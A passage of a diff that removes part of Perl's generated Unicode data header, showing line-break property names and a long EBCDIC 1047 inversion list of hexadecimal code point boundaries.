LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic -}; - -# endif /* ASCII/Latin1 */ - -#endif /* defined(PERL_IN_REGEXEC_C) */ - -#if defined(PERL_IN_UTF8_C) - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV _Perl_LB_invlist[] = { /* for EBCDIC 1047 */ - 2325, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xD, - 0xE, - 0x15, - 0x16, - 0x25, - 0x26, - 0x40, - 0x41, - 0x42, - 0x4A, - 0x4B, - 0x4C, - 0x4D, - 0x4E, - 0x4F, - 0x50, - 0x5A, - 0x5B, - 0x5C, - 0x5D, - 0x5E, - 0x5F, - 0x60, - 0x61, - 0x62, - 0x6B, - 0x6C, - 0x6D, - 0x6F, - 0x70, - 0x7A, - 0x7B, - 0x7D, - 0x7E, - 0x7F, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x90, - 0x91, - 0x9F, - 0xA0, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xB1, - 0xB3, - 0xBD, - 0xBE, - 0xBF, - 0xC0, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xE0, - 0xE1, - 0xF0, - 0xFA, - 0xFF, - 0x100, - 0x2C8, - 0x2C9, - 0x2CC, - 0x2CD, - 0x2DF, - 0x2E0, - 0x300, - 0x34F, - 0x350, - 0x35C, - 0x363, - 0x370, - 0x37E, - 0x37F, - 0x483, - 0x48A, - 0x589, - 0x58A, - 0x58B, - 0x58F, - 0x590, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x609, - 0x60C, - 0x60E, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x61E, - 0x620, - 0x64B, - 0x660, - 0x66A, - 0x66B, - 0x66D, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x6F0, - 0x6FA, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7C0, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F8, - 0x7F9, - 0x7FA, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x966, - 0x970, - 0x981, - 0x984, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9E2, - 0x9E4, - 0x9E6, - 0x9F0, - 0x9F2, - 0x9F4, - 0x9F9, - 0x9FA, - 0x9FB, - 0x9FC, - 0xA01, - 0xA04, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA66, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAE2, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF1, - 0xAF2, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB62, - 0xB64, - 0xB66, - 0xB70, - 0xB82, - 0xB83, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xBF9, - 0xBFA, - 0xC00, - 0xC04, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC66, - 0xC70, - 0xC81, - 0xC84, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCE2, - 0xCE4, - 0xCE6, - 0xCF0, - 0xD00, - 0xD04, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD62, - 0xD64, - 0xD66, - 0xD70, - 0xD79, - 0xD7A, - 0xD82, - 0xD84, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE3F, - 0xE40, - 0xE47, - 0xE4F, - 0xE50, - 0xE5A, - 0xE5C, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xF01, - 0xF05, - 0xF06, - 0xF08, - 0xF09, - 0xF0B, - 0xF0C, - 0xF0D, - 0xF12, - 0xF13, - 0xF14, - 0xF15, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF34, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3B, - 0xF3C, - 0xF3D, - 0xF3E, - 0xF40, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFC0, - 0xFC6, - 0xFC7, - 0xFD0, - 0xFD2, - 0xFD3, - 0xFD4, - 0xFD9, - 0xFDB, - 0x102B, - 0x103F, - 0x1040, - 0x104A, - 0x104C, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109E, - 0x1100, - 0x1160, - 0x11A8, - 0x1200, - 0x135D, - 0x1360, - 0x1361, - 0x1362, - 0x1400, - 0x1401, - 0x1680, - 0x1681, - 0x169B, - 0x169C, - 0x169D, - 0x16EB, - 0x16EE, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1737, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17D4, - 0x17D6, - 0x17D7, - 0x17D8, - 0x17D9, - 0x17DA, - 0x17DB, - 0x17DC, - 0x17DD, - 0x17DE, - 0x17E0, - 0x17EA, - 0x1802, - 0x1804, - 0x1806, - 0x1807, - 0x1808, - 0x180A, - 0x180B, - 0x180E, - 0x180F, - 0x1810, - 0x181A, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1944, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A17, - 0x1A1C, - 0x1A55, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B50, - 0x1B5A, - 0x1B5C, - 0x1B5D, - 0x1B61, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1BF4, - 0x1C24, - 0x1C38, - 0x1C3B, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1FFD, - 0x1FFE, - 0x2000, - 0x2007, - 0x2008, - 0x200B, - 0x200C, - 0x200D, - 0x200E, - 0x2010, - 0x2011, - 0x2012, - 0x2014, - 0x2015, - 0x2018, - 0x201A, - 0x201B, - 0x201E, - 0x201F, - 0x2020, - 0x2024, - 0x2027, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x2038, - 0x2039, - 0x203B, - 0x203C, - 0x203E, - 0x2044, - 0x2045, - 0x2046, - 0x2047, - 0x204A, - 0x2056, - 0x2057, - 0x2058, - 0x205C, - 0x205D, - 0x2060, - 0x2061, - 0x2066, - 0x2070, - 0x207D, - 0x207E, - 0x207F, - 0x208D, - 0x208E, - 0x208F, - 0x20A0, - 0x20A7, - 0x20A8, - 0x20B6, - 0x20B7, - 0x20BB, - 0x20BC, - 0x20BE, - 0x20BF, - 0x20D0, - 0x20F1, - 0x2103, - 0x2104, - 0x2109, - 0x210A, - 0x2116, - 0x2117, - 0x2212, - 0x2214, - 0x22EF, - 0x22F0, - 0x2308, - 0x2309, - 0x230A, - 0x230B, - 0x230C, - 0x231A, - 0x231C, - 0x2329, - 0x232A, - 0x232B, - 0x23F0, - 0x23F4, - 0x2600, - 0x2604, - 0x2614, - 0x2616, - 0x2618, - 0x2619, - 0x261A, - 0x261D, - 0x261E, - 0x2620, - 0x2639, - 0x263C, - 0x2668, - 0x2669, - 0x267F, - 0x2680, - 0x26BD, - 0x26C9, - 0x26CD, - 0x26CE, - 0x26CF, - 0x26D2, - 0x26D3, - 0x26D5, - 0x26D8, - 0x26DA, - 0x26DC, - 0x26DD, - 0x26DF, - 0x26E2, - 0x26EA, - 0x26EB, - 0x26F1, - 0x26F6, - 0x26F7, - 0x26F9, - 0x26FA, - 0x26FB, - 0x26FD, - 0x2705, - 0x2708, - 0x270A, - 0x270E, - 0x275B, - 0x2761, - 0x2762, - 0x2764, - 0x2765, - 0x2768, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x2776, - 0x27C5, - 0x27C6, - 0x27C7, - 0x27E6, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x27F0, - 0x2983, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x2999, - 0x29D8, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29DC, - 0x29FC, - 0x29FD, - 0x29FE, - 0x2CEF, - 0x2CF2, - 0x2CF9, - 0x2CFA, - 0x2CFD, - 0x2CFE, - 0x2CFF, - 0x2D00, - 0x2D70, - 0x2D71, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x2E0E, - 0x2E16, - 0x2E17, - 0x2E18, - 0x2E19, - 0x2E1A, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E22, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E2A, - 0x2E2E, - 0x2E2F, - 0x2E30, - 0x2E32, - 0x2E33, - 0x2E35, - 0x2E3A, - 0x2E3C, - 0x2E3F, - 0x2E40, - 0x2E42, - 0x2E43, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3001, - 0x3003, - 0x3005, - 0x3006, - 0x3008, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3012, - 0x3014, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301C, - 0x301D, - 0x301E, - 0x3020, - 0x302A, - 0x3030, - 0x3035, - 0x3036, - 0x303B, - 0x303D, - 0x3040, - 0x3041, - 0x3042, - 0x3043, - 0x3044, - 0x3045, - 0x3046, - 0x3047, - 0x3048, - 0x3049, - 0x304A, - 0x3063, - 0x3064, - 0x3083, - 0x3084, - 0x3085, - 0x3086, - 0x3087, - 0x3088, - 0x308E, - 0x308F, - 0x3095, - 0x3097, - 0x3099, - 0x309B, - 0x309F, - 0x30A0, - 0x30A2, - 0x30A3, - 0x30A4, - 0x30A5, - 0x30A6, - 0x30A7, - 0x30A8, - 0x30A9, - 0x30AA, - 0x30C3, - 0x30C4, - 0x30E3, - 0x30E4, - 0x30E5, - 0x30E6, - 0x30E7, - 0x30E8, - 0x30EE, - 0x30EF, - 0x30F5, - 0x30F7, - 0x30FB, - 0x30FF, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x32FF, - 0x3300, - 0x4DC0, - 0x4E00, - 0xA015, - 0xA016, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA60E, - 0xA60F, - 0xA610, - 0xA620, - 0xA62A, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA6F3, - 0xA6F8, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA838, - 0xA839, - 0xA874, - 0xA876, - 0xA878, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8CE, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F2, - 0xA8FC, - 0xA8FD, - 0xA900, - 0xA90A, - 0xA926, - 0xA92E, - 0xA930, - 0xA947, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9C7, - 0xA9CA, - 0xA9D0, - 0xA9DA, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xAA29, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5D, - 0xAA60, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEB, - 0xAAF0, - 0xAAF2, - 0xAAF5, - 0xAAF7, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xAC01, - 0xAC1C, - 0xAC1D, - 0xAC38, - 0xAC39, - 0xAC54, - 0xAC55, - 0xAC70, - 0xAC71, - 0xAC8C, - 0xAC8D, - 0xACA8, - 0xACA9, - 0xACC4, - 0xACC5, - 0xACE0, - 0xACE1, - 0xACFC, - 0xACFD, - 0xAD18, - 0xAD19, - 0xAD34, - 0xAD35, - 0xAD50, - 0xAD51, - 0xAD6C, - 0xAD6D, - 0xAD88, - 0xAD89, - 0xADA4, - 0xADA5, - 0xADC0, - 0xADC1, - 0xADDC, - 0xADDD, - 0xADF8, - 0xADF9, - 0xAE14, - 0xAE15, - 0xAE30, - 0xAE31, - 0xAE4C, - 0xAE4D, - 0xAE68, - 0xAE69, - 0xAE84, - 0xAE85, - 0xAEA0, - 0xAEA1, - 0xAEBC, - 0xAEBD, - 0xAED8, - 0xAED9, - 0xAEF4, - 0xAEF5, - 0xAF10, - 0xAF11, - 0xAF2C, - 0xAF2D, - 0xAF48, - 0xAF49, - 0xAF64, - 0xAF65, - 0xAF80, - 0xAF81, - 0xAF9C, - 0xAF9D, - 0xAFB8, - 0xAFB9, - 0xAFD4, - 0xAFD5, - 0xAFF0, - 0xAFF1, - 0xB00C, - 0xB00D, - 0xB028, - 0xB029, - 0xB044, - 0xB045, - 0xB060, - 0xB061, - 0xB07C, - 0xB07D, - 0xB098, - 0xB099, - 0xB0B4, - 0xB0B5, - 0xB0D0, - 0xB0D1, - 0xB0EC, - 0xB0ED, - 0xB108, - 0xB109, - 0xB124, - 0xB125, - 0xB140, - 0xB141, - 0xB15C, - 0xB15D, - 0xB178, - 0xB179, - 0xB194, - 0xB195, - 0xB1B0, - 0xB1B1, - 0xB1CC, - 0xB1CD, - 0xB1E8, - 0xB1E9, - 0xB204, - 0xB205, - 0xB220, - 0xB221, - 0xB23C, - 0xB23D, - 0xB258, - 0xB259, - 0xB274, - 0xB275, - 0xB290, - 0xB291, - 0xB2AC, - 0xB2AD, - 0xB2C8, - 0xB2C9, - 0xB2E4, - 0xB2E5, - 0xB300, - 0xB301, - 0xB31C, - 0xB31D, - 0xB338, - 0xB339, - 0xB354, - 0xB355, - 0xB370, - 0xB371, - 0xB38C, - 0xB38D, - 0xB3A8, - 0xB3A9, - 0xB3C4, - 0xB3C5, - 0xB3E0, - 0xB3E1, - 0xB3FC, - 0xB3FD, - 0xB418, - 0xB419, - 0xB434, - 0xB435, - 0xB450, - 0xB451, - 0xB46C, - 0xB46D, - 0xB488, - 0xB489, - 0xB4A4, - 0xB4A5, - 0xB4C0, - 0xB4C1, - 0xB4DC, - 0xB4DD, - 0xB4F8, - 0xB4F9, - 0xB514, - 0xB515, - 0xB530, - 0xB531, - 0xB54C, - 0xB54D, - 0xB568, - 0xB569, - 0xB584, - 0xB585, - 0xB5A0, - 0xB5A1, - 0xB5BC, - 0xB5BD, - 0xB5D8, - 0xB5D9, - 0xB5F4, - 0xB5F5, - 0xB610, - 0xB611, - 0xB62C, - 0xB62D, - 0xB648, - 0xB649, - 0xB664, - 0xB665, - 0xB680, - 0xB681, - 0xB69C, - 0xB69D, - 0xB6B8, - 0xB6B9, - 0xB6D4, - 0xB6D5, - 0xB6F0, - 0xB6F1, - 0xB70C, - 0xB70D, - 0xB728, - 0xB729, - 0xB744, - 0xB745, - 0xB760, - 0xB761, - 0xB77C, - 0xB77D, - 0xB798, - 0xB799, - 0xB7B4, - 0xB7B5, - 0xB7D0, - 0xB7D1, - 0xB7EC, - 0xB7ED, - 0xB808, - 0xB809, - 0xB824, - 0xB825, - 0xB840, - 0xB841, - 0xB85C, - 0xB85D, - 0xB878, - 0xB879, - 0xB894, - 0xB895, - 0xB8B0, - 0xB8B1, - 0xB8CC, - 0xB8CD, - 0xB8E8, - 0xB8E9, - 0xB904, - 0xB905, - 0xB920, - 0xB921, - 0xB93C, - 0xB93D, - 0xB958, - 0xB959, - 0xB974, - 0xB975, - 0xB990, - 0xB991, - 0xB9AC, - 0xB9AD, - 0xB9C8, - 0xB9C9, - 0xB9E4, - 0xB9E5, - 0xBA00, - 0xBA01, - 0xBA1C, - 0xBA1D, - 0xBA38, - 0xBA39, - 0xBA54, - 0xBA55, - 0xBA70, - 0xBA71, - 0xBA8C, - 0xBA8D, - 0xBAA8, - 0xBAA9, - 0xBAC4, - 0xBAC5, - 0xBAE0, - 0xBAE1, - 0xBAFC, - 0xBAFD, - 0xBB18, - 0xBB19, - 0xBB34, - 0xBB35, - 0xBB50, - 0xBB51, - 0xBB6C, - 0xBB6D, - 0xBB88, - 0xBB89, - 0xBBA4, - 0xBBA5, - 0xBBC0, - 0xBBC1, - 0xBBDC, - 0xBBDD, - 0xBBF8, - 0xBBF9, - 0xBC14, - 0xBC15, - 0xBC30, - 0xBC31, - 0xBC4C, - 0xBC4D, - 0xBC68, - 0xBC69, - 0xBC84, - 0xBC85, - 0xBCA0, - 0xBCA1, - 0xBCBC, - 0xBCBD, - 0xBCD8, - 0xBCD9, - 0xBCF4, - 0xBCF5, - 0xBD10, - 0xBD11, - 0xBD2C, - 0xBD2D, - 0xBD48, - 0xBD49, - 0xBD64, - 0xBD65, - 0xBD80, - 0xBD81, - 0xBD9C, - 0xBD9D, - 0xBDB8, - 0xBDB9, - 0xBDD4, - 0xBDD5, - 0xBDF0, - 0xBDF1, - 0xBE0C, - 0xBE0D, - 0xBE28, - 0xBE29, - 0xBE44, - 0xBE45, - 0xBE60, - 0xBE61, - 0xBE7C, - 0xBE7D, - 0xBE98, - 0xBE99, - 0xBEB4, - 0xBEB5, - 0xBED0, - 0xBED1, - 0xBEEC, - 0xBEED, - 0xBF08, - 0xBF09, - 0xBF24, - 0xBF25, - 0xBF40, - 0xBF41, - 0xBF5C, - 0xBF5D, - 0xBF78, - 0xBF79, - 0xBF94, - 0xBF95, - 0xBFB0, - 0xBFB1, - 0xBFCC, - 0xBFCD, - 0xBFE8, - 0xBFE9, - 0xC004, - 0xC005, - 0xC020, - 0xC021, - 0xC03C, - 0xC03D, - 0xC058, - 0xC059, - 0xC074, - 0xC075, - 0xC090, - 0xC091, - 0xC0AC, - 0xC0AD, - 0xC0C8, - 0xC0C9, - 0xC0E4, - 0xC0E5, - 0xC100, - 0xC101, - 0xC11C, - 0xC11D, - 0xC138, - 0xC139, - 0xC154, - 0xC155, - 0xC170, - 0xC171, - 0xC18C, - 0xC18D, - 0xC1A8, - 0xC1A9, - 0xC1C4, - 0xC1C5, - 0xC1E0, - 0xC1E1, - 0xC1FC, - 0xC1FD, - 0xC218, - 0xC219, - 0xC234, - 0xC235, - 0xC250, - 0xC251, - 0xC26C, - 0xC26D, - 0xC288, - 0xC289, - 0xC2A4, - 0xC2A5, - 0xC2C0, - 0xC2C1, - 0xC2DC, - 0xC2DD, - 0xC2F8, - 0xC2F9, - 0xC314, - 0xC315, - 0xC330, - 0xC331, - 0xC34C, - 0xC34D, - 0xC368, - 0xC369, - 0xC384, - 0xC385, - 0xC3A0, - 0xC3A1, - 0xC3BC, - 0xC3BD, - 0xC3D8, - 0xC3D9, - 0xC3F4, - 0xC3F5, - 0xC410, - 0xC411, - 0xC42C, - 0xC42D, - 0xC448, - 0xC449, - 0xC464, - 0xC465, - 0xC480, - 0xC481, - 0xC49C, - 0xC49D, - 0xC4B8, - 0xC4B9, - 0xC4D4, - 0xC4D5, - 0xC4F0, - 0xC4F1, - 0xC50C, - 0xC50D, - 0xC528, - 0xC529, - 0xC544, - 0xC545, - 0xC560, - 0xC561, - 0xC57C, - 0xC57D, - 0xC598, - 0xC599, - 0xC5B4, - 0xC5B5, - 0xC5D0, - 0xC5D1, - 0xC5EC, - 0xC5ED, - 0xC608, - 0xC609, - 0xC624, - 0xC625, - 0xC640, - 0xC641, - 0xC65C, - 0xC65D, - 0xC678, - 0xC679, - 0xC694, - 0xC695, - 0xC6B0, - 0xC6B1, - 0xC6CC, - 0xC6CD, - 0xC6E8, - 0xC6E9, - 0xC704, - 0xC705, - 0xC720, - 0xC721, - 0xC73C, - 0xC73D, - 0xC758, - 0xC759, - 0xC774, - 0xC775, - 0xC790, - 0xC791, - 0xC7AC, - 0xC7AD, - 0xC7C8, - 0xC7C9, - 0xC7E4, - 0xC7E5, - 0xC800, - 0xC801, - 0xC81C, - 0xC81D, - 0xC838, - 0xC839, - 0xC854, - 0xC855, - 0xC870, - 0xC871, - 0xC88C, - 0xC88D, - 0xC8A8, - 0xC8A9, - 0xC8C4, - 0xC8C5, - 0xC8E0, - 0xC8E1, - 0xC8FC, - 0xC8FD, - 0xC918, - 0xC919, - 0xC934, - 0xC935, - 0xC950, - 0xC951, - 0xC96C, - 0xC96D, - 0xC988, - 0xC989, - 0xC9A4, - 0xC9A5, - 0xC9C0, - 0xC9C1, - 0xC9DC, - 0xC9DD, - 0xC9F8, - 0xC9F9, - 0xCA14, - 0xCA15, - 0xCA30, - 0xCA31, - 0xCA4C, - 0xCA4D, - 0xCA68, - 0xCA69, - 0xCA84, - 0xCA85, - 0xCAA0, - 0xCAA1, - 0xCABC, - 0xCABD, - 0xCAD8, - 0xCAD9, - 0xCAF4, - 0xCAF5, - 0xCB10, - 0xCB11, - 0xCB2C, - 0xCB2D, - 0xCB48, - 0xCB49, - 0xCB64, - 0xCB65, - 0xCB80, - 0xCB81, - 0xCB9C, - 0xCB9D, - 0xCBB8, - 0xCBB9, - 0xCBD4, - 0xCBD5, - 0xCBF0, - 0xCBF1, - 0xCC0C, - 0xCC0D, - 0xCC28, - 0xCC29, - 0xCC44, - 0xCC45, - 0xCC60, - 0xCC61, - 0xCC7C, - 0xCC7D, - 0xCC98, - 0xCC99, - 0xCCB4, - 0xCCB5, - 0xCCD0, - 0xCCD1, - 0xCCEC, - 0xCCED, - 0xCD08, - 0xCD09, - 0xCD24, - 0xCD25, - 0xCD40, - 0xCD41, - 0xCD5C, - 0xCD5D, - 0xCD78, - 0xCD79, - 0xCD94, - 0xCD95, - 0xCDB0, - 0xCDB1, - 0xCDCC, - 0xCDCD, - 0xCDE8, - 0xCDE9, - 0xCE04, - 0xCE05, - 0xCE20, - 0xCE21, - 0xCE3C, - 0xCE3D, - 0xCE58, - 0xCE59, - 0xCE74, - 0xCE75, - 0xCE90, - 0xCE91, - 0xCEAC, - 0xCEAD, - 0xCEC8, - 0xCEC9, - 0xCEE4, - 0xCEE5, - 0xCF00, - 0xCF01, - 0xCF1C, - 0xCF1D, - 0xCF38, - 0xCF39, - 0xCF54, - 0xCF55, - 0xCF70, - 0xCF71, - 0xCF8C, - 0xCF8D, - 0xCFA8, - 0xCFA9, - 0xCFC4, - 0xCFC5, - 0xCFE0, - 0xCFE1, - 0xCFFC, - 0xCFFD, - 0xD018, - 0xD019, - 0xD034, - 0xD035, - 0xD050, - 0xD051, - 0xD06C, - 0xD06D, - 0xD088, - 0xD089, - 0xD0A4, - 0xD0A5, - 0xD0C0, - 0xD0C1, - 0xD0DC, - 0xD0DD, - 0xD0F8, - 0xD0F9, - 0xD114, - 0xD115, - 0xD130, - 0xD131, - 0xD14C, - 0xD14D, - 0xD168, - 0xD169, - 0xD184, - 0xD185, - 0xD1A0, - 0xD1A1, - 0xD1BC, - 0xD1BD, - 0xD1D8, - 0xD1D9, - 0xD1F4, - 0xD1F5, - 0xD210, - 0xD211, - 0xD22C, - 0xD22D, - 0xD248, - 0xD249, - 0xD264, - 0xD265, - 0xD280, - 0xD281, - 0xD29C, - 0xD29D, - 0xD2B8, - 0xD2B9, - 0xD2D4, - 0xD2D5, - 0xD2F0, - 0xD2F1, - 0xD30C, - 0xD30D, - 0xD328, - 0xD329, - 0xD344, - 0xD345, - 0xD360, - 0xD361, - 0xD37C, - 0xD37D, - 0xD398, - 0xD399, - 0xD3B4, - 0xD3B5, - 0xD3D0, - 0xD3D1, - 0xD3EC, - 0xD3ED, - 0xD408, - 0xD409, - 0xD424, - 0xD425, - 0xD440, - 0xD441, - 0xD45C, - 0xD45D, - 0xD478, - 0xD479, - 0xD494, - 0xD495, - 0xD4B0, - 0xD4B1, - 0xD4CC, - 0xD4CD, - 0xD4E8, - 0xD4E9, - 0xD504, - 0xD505, - 0xD520, - 0xD521, - 0xD53C, - 0xD53D, - 0xD558, - 0xD559, - 0xD574, - 0xD575, - 0xD590, - 0xD591, - 0xD5AC, - 0xD5AD, - 0xD5C8, - 0xD5C9, - 0xD5E4, - 0xD5E5, - 0xD600, - 0xD601, - 0xD61C, - 0xD61D, - 0xD638, - 0xD639, - 0xD654, - 0xD655, - 0xD670, - 0xD671, - 0xD68C, - 0xD68D, - 0xD6A8, - 0xD6A9, - 0xD6C4, - 0xD6C5, - 0xD6E0, - 0xD6E1, - 0xD6FC, - 0xD6FD, - 0xD718, - 0xD719, - 0xD734, - 0xD735, - 0xD750, - 0xD751, - 0xD76C, - 0xD76D, - 0xD788, - 0xD789, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFB00, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB50, - 0xFD3E, - 0xFD3F, - 0xFD40, - 0xFDFC, - 0xFDFD, - 0xFE00, - 0xFE10, - 0xFE11, - 0xFE13, - 0xFE15, - 0xFE17, - 0xFE18, - 0xFE19, - 0xFE1A, - 0xFE20, - 0xFE30, - 0xFE35, - 0xFE36, - 0xFE37, - 0xFE38, - 0xFE39, - 0xFE3A, - 0xFE3B, - 0xFE3C, - 0xFE3D, - 0xFE3E, - 0xFE3F, - 0xFE40, - 0xFE41, - 0xFE42, - 0xFE43, - 0xFE44, - 0xFE45, - 0xFE47, - 0xFE48, - 0xFE49, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE53, - 0xFE54, - 0xFE56, - 0xFE58, - 0xFE59, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFE5F, - 0xFE67, - 0xFE68, - 0xFE69, - 0xFE6A, - 0xFE6B, - 0xFE6C, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF02, - 0xFF04, - 0xFF05, - 0xFF06, - 0xFF08, - 0xFF09, - 0xFF0A, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF0F, - 0xFF1A, - 0xFF1C, - 0xFF1F, - 